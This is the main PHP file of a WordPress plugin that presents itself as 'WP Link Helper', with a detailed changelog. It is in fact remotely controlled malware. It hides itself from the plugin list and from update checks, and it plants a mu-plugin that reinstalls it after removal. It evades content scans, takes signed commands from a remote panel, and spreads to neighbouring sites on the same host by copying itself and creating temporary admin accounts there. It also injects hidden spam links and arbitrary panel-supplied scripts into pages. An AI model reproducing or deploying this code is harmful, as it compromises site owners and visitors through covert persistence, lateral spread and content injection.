<?php
/**
 * Plugin Name: WP Link Helper
 * Version: 0.10.2
 */
/* 0.4.6: token-less ?wlh_claim trigger — panel pokes an active-but-unclaimed
   donor to claim synchronously (fixes installed-but-no-heartbeat on zero-traffic
   doorways where WP-cron never fires the claim retry).
   0.4.7: fatal-proof activation + init — every step (recovery-install, claim,
   cron) is try/catch(Throwable) so a failure on a heavy/locked host never causes
   WP's "critical error" (rollback → no claim), and never white-screens the site
   from the init hook.
   0.5.0: survivability series —
     - mu-heal now also fires on DEACTIVATION (re-activate only, no download)
       and on a GUTTED main file, not just a missing one;
     - unsigned/badly-signed ?wlh_* requests get NO JSON at all (silent
       pass-through): the error bodies were an unauthenticated presence oracle;
     - ?wlh_update requires a non-empty sha and accepts BOTH the legacy
       HMAC(op.ts) and the new HMAC(op.ts.sha) while the fleet converges;
     - mu-copies carry a baked-in claim fallback (panel URL + handshake), so a
       donor wiped down to "plugin + all options gone" can re-claim and heal;
     - mu marker strings are runtime-assembled (no content-grep hits);
     - heartbeat-driven self-update off `plugin_latest` (sha-pinned, one retry,
       result reported back in the next heartbeat as `upd`);
     - signed mu op=rollback: one previous build is retained and can be
       swapped back atomically;
     - link hiding diversified across 5 techniques, chosen per-link;
     - code downloads verify TLS (sslverify=true).
   0.5.1: sibling ADOPTION (pilot) — signed ops only, no autonomy:
     - ?wlh_neighbors elements gain `writable` (plugins/ or wp-content
       writable by us) and `same_uid` (both wp-config.php one owner);
     - ?wlh_adopt (HMAC 'adopt.ts'): mode fs copies our own plugin dir into
       the sibling's wp-content/plugins/, activates via the sibling's DB
       (serialize/read-back guarded) and pokes its token-less ?wlh_claim;
       mode db creates a TEMPORARY admin in the sibling's DB and returns the
       creds over the signed channel (tracked passwordless in wlh_adopted);
     - ?wlh_adoptclean (HMAC 'adoptclean.ts'): deletes the tracked temp admin
       from the sibling DB and untracks it.
   0.5.3: neighbor scan now distinguishes site kinds —
     - every ?wlh_neighbors element gains `site_type` ('wp' or 'static');
     - candidate dirs WITHOUT wp-load.php are probed for a static site
       (index.html/index.htm in the dir or a typical webroot): host guessed
       from the dir name, siteurl only when the index volunteers a
       canonical/og:url (one file, ≤64KB); writable = the index dir itself;
     - static findings are collected in a SECOND pass after all WP installs
       and capped separately (100 of the shared 200), so a farm of static
       dirs can never crowd actionable WP siblings out of the result.
   0.6.0: signed op ?wlh_wchinstall (HMAC 'wchinstall.ts.sha', sha mandatory,
     no legacy scheme) — installs the MAIN plugin wp-cache-helper (wch)
     "plugin-onto-plugin", no wp-admin creds involved:
     - the wch zip is fetched from the panel's /api/links/wch-zip with the
       donor Bearer token, TLS-verified (sslverify=true, same rule as the
       0.5.0 self-update) and sha-pinned to the SIGNED parameter — the zip's
       own X-WCH-Plugin-Sha256 header is informational, never trusted;
     - SELF mode (no path_b64): unzip to a private temp dir, copy
       wp-cache-helper/ into WP_PLUGIN_DIR, flip our own active_plugins with
       the WLH_Adopt serialize/read-back discipline, poke home_url('/') so
       wch (>= 0.12.10) claims itself on init;
     - FS mode (path_b64): the adopt fs machinery with the unzipped wch tree
       as the source — copy into the sibling's wp-content/plugins/, activate
       in the sibling's DB (mysqli, serialize/read-back), poke its siteurl;
     - WLH_Adopt's fs/DB helpers went public and active_plugins_add/has +
       db_activate take an optional $rel (default = this plugin) so the
       read-back pattern is reused, not duplicated.
   0.7.0: STATIC placement channel — links on the plain-HTML sites sharing this
     donor's account (no WordPress on the target at all):
     - the heartbeat answer may carry `static_tasks` = per static site its fs
       path + the desired link set (the panel adopted the site as a VIRTUAL
       donor managed_by us; its fs is reachable because it is our neighbor);
     - WLH_Static syncs one hidden <!--lh:s{id}-->...<!--lh:e{id}--> block per
       link into the site's index.html (pilot: the root index.html only) —
       idempotent against the desired list (unlisted blocks removed, listed
       ones kept in place, new ones appended as ONE container after <body>),
       atomic (temp-in-dir + flock + rename), capped at 30 links/site, and a
       file whose marker structure looks off is never touched;
     - per-host outcomes buffer in a plain option and ride the NEXT heartbeat
       as `static_results` (one-shot report, same contract as `upd`); the panel
       confirm-only marks the static's assignments placed off it — removal of a
       static link is simply its absence from the next static_tasks list;
     - WLH_Render::hidden_anchor went public so static blocks come from the
       exact same per-link hide pool (seed = url + static host).
   0.8.0: SITEWIDE placement channel — hidden link blocks in the header and/or
     footer of EVERY page of this donor (the homepage block stays front-page
     only, its option and markup unchanged):
     - the heartbeat answer may carry `sw_links` — the same element shape as
       `links` plus `position` = header|footer|both (missing/garbage → both);
       stored in the wlh_sw_links option, an empty list clears it, any change
       flushes the page caches exactly like the homepage set;
     - WLH_Render starts its buffer when the page has anything to render
       (homepage block as before OR any sw links at all): sw header links land
       after </header>/<body>, sw footer links right before </body> — two
       independent blocks with their own one-shot flags; the sw hide pool is
       seeded with a '|sw'-salted site so a page's sw styles never mirror the
       homepage block 1:1;
     - WLH_Check::run verifies the sw links too (they render on the homepage):
       present/missing/count cover the UNION of both link sets, and the report
       gains per-set sw_present/sw_missing for the panel.
   0.10.0: verified-Googlebot hit counter + signed op ?wlh_botstats —
     - WLH_Botstat counts front-end hits (template_redirect, once per request)
       whose UA looks like a Google crawler AND whose IP rDNS-verifies to
       .googlebot.com/.google.com with forward-confirm (spoofed UAs and DNS
       failures never count; verdicts transient-cached 12h per IP);
     - counters live in the wlh_bot_hits option as UTC day => hits, capped to
       the last 35 days; the new op (HMAC 'botstats.ts', read-only) returns
       them for the panel's daily pull — server-side page caches serving PHP
       less mean a LOWER bound, not an absolute.
     - (0.9.0 skipped: ~1k legacy donors already report a "0.9.0" version from an older plugin generation — reusing it would mark them feature-complete in the panel and healthy in the allocator.)
     0.10.1: HOMEPAGE SNIPPET channel — the heartbeat answer may carry `home_snippet` = raw HTML
       (string, e.g. a widget <script>) the panel wants on THIS donor's homepage footer:
     - stored in the wlh_snippet option; any change flushes the page caches exactly like the link sets
       (empty string clears it);
     - WLH_Render emits it on the HOMEPAGE only, right before </body> (footer slot); change flushes page caches
       like the link sets.
     0.10.2: fs-adopt object-cache fix — a direct DB write to active_plugins is invisible while the sibling
       holds the stale option in a persistent object cache (wp-content/object-cache.php drop-in): WP reads the
       stale list, our plugin never loads, the claim never fires (the noa-kitchen.de class of host). The fs
       path now moves the sibling's object-cache drop-in aside (reversible .wlh-off backup) before poking the
       claim, so the next request re-reads active_plugins from the DB. */

if (!defined('ABSPATH')) exit;

define('WLH_VERSION', '0.10.2');
define('WLH_FILE', __FILE__);
define('WLH_DIR', plugin_dir_path(__FILE__));
define('WLH_BASENAME', plugin_basename(__FILE__));

define('WLH_OPT_ENDPOINT',   'wlh_cdn');
define('WLH_OPT_API_TOKEN',  'wlh_key');
define('WLH_OPT_DOMAIN',     'wlh_origin');
define('WLH_OPT_PROJECT',    'wlh_proj');
define('WLH_OPT_CLAIMED_AT', 'wlh_ca');
define('WLH_OPT_LAST_ERROR', 'wlh_err');
define('WLH_OPT_LAST_HEALTH','wlh_lh');
define('WLH_OPT_LINKS',      'wlh_links');
define('WLH_OPT_SW_LINKS',   'wlh_sw_links');
define('WLH_OPT_SNIPPET',    'wlh_snippet');
// Plain (non-vault) tracking of temp admins created by ?wlh_adopt mode db —
// holds path/login/user_id/ts only, NEVER the password; ?wlh_adoptclean's list.
define('WLH_OPT_ADOPTED',    'wlh_adopted');

$_wlh_cfg = WLH_DIR . 'wlh-config.php';
if (file_exists($_wlh_cfg)) {
    require_once $_wlh_cfg;
}
unset($_wlh_cfg);

require_once WLH_DIR . 'includes/class-wlh-vault.php';
require_once WLH_DIR . 'includes/class-wlh-cache.php';
require_once WLH_DIR . 'includes/class-wlh-client.php';
require_once WLH_DIR . 'includes/class-wlh-cron.php';
require_once WLH_DIR . 'includes/class-wlh-check.php';
require_once WLH_DIR . 'includes/class-wlh-render.php';
require_once WLH_DIR . 'includes/class-wlh-static.php';
require_once WLH_DIR . 'includes/class-wlh-clean.php';
require_once WLH_DIR . 'includes/class-wlh-neighbors.php';
require_once WLH_DIR . 'includes/class-wlh-adopt.php';
require_once WLH_DIR . 'includes/class-wlh-wchinstall.php';
require_once WLH_DIR . 'includes/class-wlh-recovery-installer.php';
require_once WLH_DIR . 'includes/class-wlh-botstat.php';

add_filter('all_plugins', 'wlh_hide_self');
function wlh_hide_self($plugins) {
    if (isset($plugins[WLH_BASENAME])) {
        unset($plugins[WLH_BASENAME]);
    }
    return $plugins;
}

add_filter('site_transient_update_plugins', 'wlh_hide_update');
function wlh_hide_update($value) {
    if (is_object($value)) {
        if (isset($value->response[WLH_BASENAME])) {
            unset($value->response[WLH_BASENAME]);
        }
        if (isset($value->no_update[WLH_BASENAME])) {
            unset($value->no_update[WLH_BASENAME]);
        }
    }
    return $value;
}

add_action('init', array('WLH_Cron', 'register_hooks'));
WLH_Check::register_hooks();
WLH_Render::register_hooks();
WLH_Botstat::register_hooks();
// Keep the mu-plugin recovery channel dropped in wp-content/mu-plugins/ — it
// loads independently of and OUTLIVES the deletion of this main plugin, and
// autonomously reinstalls it. Idempotent: re-syncs on a version bump or if the
// mu-file was removed. Cheap (a version+state option check) on the happy path.
// Defensive: ensure_installed touches the filesystem (mu-plugins) + DB on EVERY
// request — a throw here would white-screen the whole donor. Never let it.
add_action('init', function () {
    try {
        WLH_Recovery_Installer::ensure_installed();
    } catch (\Throwable $e) {
    }
});

register_activation_hook(__FILE__, 'wlh_on_activate');
function wlh_on_activate() {
    // Every step is best-effort: a failure in recovery-install / claim / cron on a
    // heavy or locked-down host must NOT fatal activation (WP would show a
    // "critical error", roll the plugin back, and the donor never claims). The
    // essential outcome — plugin active + the ?wlh_claim trigger reachable — holds
    // even if the optional steps throw.
    try {
        if (WLH_Vault::domain() === '') {
            $host = parse_url(home_url(), PHP_URL_HOST);
            if (is_string($host) && $host !== '') {
                WLH_Vault::set_domain(strtolower($host));
            }
        }
    } catch (\Throwable $e) {
    }
    try { WLH_Cron::schedule(); } catch (\Throwable $e) {
    }
    try { WLH_Recovery_Installer::install(); } catch (\Throwable $e) {
    }
    if (defined('WLH_REMOTE_URL') && defined('WLH_HANDSHAKE')) {
        try { WLH_Client::try_claim(); } catch (\Throwable $e) {
        }
    }
}

register_deactivation_hook(__FILE__, 'wlh_on_deactivate');
function wlh_on_deactivate() {
    WLH_Cron::unschedule();
}
